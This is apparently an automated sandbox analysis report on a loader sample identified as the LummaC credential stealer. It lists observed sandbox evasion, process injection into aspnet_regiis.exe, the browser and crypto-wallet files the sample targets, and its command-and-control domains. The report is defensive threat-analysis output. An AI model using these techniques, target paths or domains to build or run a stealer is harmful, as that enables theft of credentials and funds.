Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: R3nz_Loader.exe PID: 2684, type: MEMORYSTR

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\R3nz_Loader.exe	Memory allocated: 11F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Memory allocated: 2D70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Memory allocated: 4D70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Memory allocated: 5460000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Memory allocated: 6460000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Memory allocated: 6590000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Memory allocated: 7590000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Memory allocated: 79E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Memory allocated: 89E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Memory allocated: 99E0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Window / User API: threadDelayed 6825

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe TID: 4508	Thread sleep time: -210000s >= -30000s			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe TID: 7268	Thread sleep count: 6825 > 30			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\R3nz_Loader.exe

Code function: 0_2_6CEF4322 FindFirstFileExW,

0_2_6CEF4322

Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F78000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: aspnet_regiis.exe, 00000003.00000002.3271176576.0000000002A6D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0f
Source: aspnet_regiis.exe, 00000003.00000002.3271368717.0000000002AAC000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2141165577.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2740576821.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2741053262.0000000002AAA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F78000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: aspnet_regiis.exe, 00000003.00000003.2052580318.0000000004F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

API call chain: ExitProcess graph end node

graph_3-14378

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\R3nz_Loader.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 3_2_0279CCA0 LdrInitializeThunk,

3_2_0279CCA0

Source: C:\Users\user\Desktop\R3nz_Loader.exe

Code function: 0_2_6CEF3C6A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CEF3C6A

Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_6CEF3C39 mov eax, dword ptr fs:[00000030h]		0_2_6CEF3C39
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_6CEF2A65 mov eax, dword ptr fs:[00000030h]		0_2_6CEF2A65

Source: C:\Users\user\Desktop\R3nz_Loader.exe

Code function: 0_2_6CEF584C GetProcessHeap,

0_2_6CEF584C

Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_6CEF3C6A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CEF3C6A
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_6CEF12DA IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CEF12DA
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_6CEF0E01 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6CEF0E01

Source: C:\Users\user\Desktop\R3nz_Loader.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\R3nz_Loader.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2760000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\R3nz_Loader.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2760000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: R3nz_Loader.exe	String found in binary or memory: rabidcowse.shop
Source: R3nz_Loader.exe	String found in binary or memory: cloudewahsj.shop
Source: R3nz_Loader.exe	String found in binary or memory: tirepublicerj.shop
Source: R3nz_Loader.exe	String found in binary or memory: noisycuttej.shop
Source: R3nz_Loader.exe	String found in binary or memory: wholersorie.shop
Source: R3nz_Loader.exe	String found in binary or memory: framekgirus.shop
Source: R3nz_Loader.exe	String found in binary or memory: nearycrepso.shop
Source: R3nz_Loader.exe	String found in binary or memory: abruptyopsn.shop
Source: R3nz_Loader.exe	String found in binary or memory: fancywaxxers.shop

Writes to foreign memory regions

Source: C:\Users\user\Desktop\R3nz_Loader.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2760000	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2761000	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 27A1000	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 27A4000	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 27B2000	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2761000	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 27A1000	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 27A4000	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 27B2000	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2517008	Jump to behavior

Source: C:\Users\user\Desktop\R3nz_Loader.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"

Jump to behavior

Source: C:\Users\user\Desktop\R3nz_Loader.exe

Code function: 0_2_6CEF14A8 cpuid

0_2_6CEF14A8

Source: C:\Users\user\Desktop\R3nz_Loader.exe	Queries volume information: C:\Users\user\Desktop\R3nz_Loader.exe VolumeInformation			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\R3nz_Loader.exe

Code function: 0_2_6CEF0F23 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6CEF0F23

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: aspnet_regiis.exe, 00000003.00000002.3271368717.0000000002AAC000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2100987956.0000000002B0D000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2141165577.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2740576821.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2101077815.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2741053262.0000000002AAA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: aspnet_regiis.exe PID: 5780, type: MEMORYSTR
Source: Yara match	File source: 3.2.aspnet_regiis.exe.2760000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.R3nz_Loader.exe.6cf01000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.R3nz_Loader.exe.6cf01000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.R3nz_Loader.exe.6cee0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.R3nz_Loader.exe.a10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: aspnet_regiis.exe, 00000003.00000002.3271368717.0000000002AAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: aspnet_regiis.exe, 00000003.00000002.3271300259.0000000002A9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: aspnet_regiis.exe, 00000003.00000003.2085718516.0000000002B05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: aspnet_regiis.exe, 00000003.00000002.3271368717.0000000002AAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: aspnet_regiis.exe, 00000003.00000003.2082382204.0000000002AE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: aspnet_regiis.exe, 00000003.00000003.2085741013.0000000002AFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: aspnet_regiis.exe, 00000003.00000002.3271368717.0000000002AAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: aspnet_regiis.exe, 00000003.00000003.2085718516.0000000002B05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: aspnet_regiis.exe, 00000003.00000003.2085741013.0000000002AFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
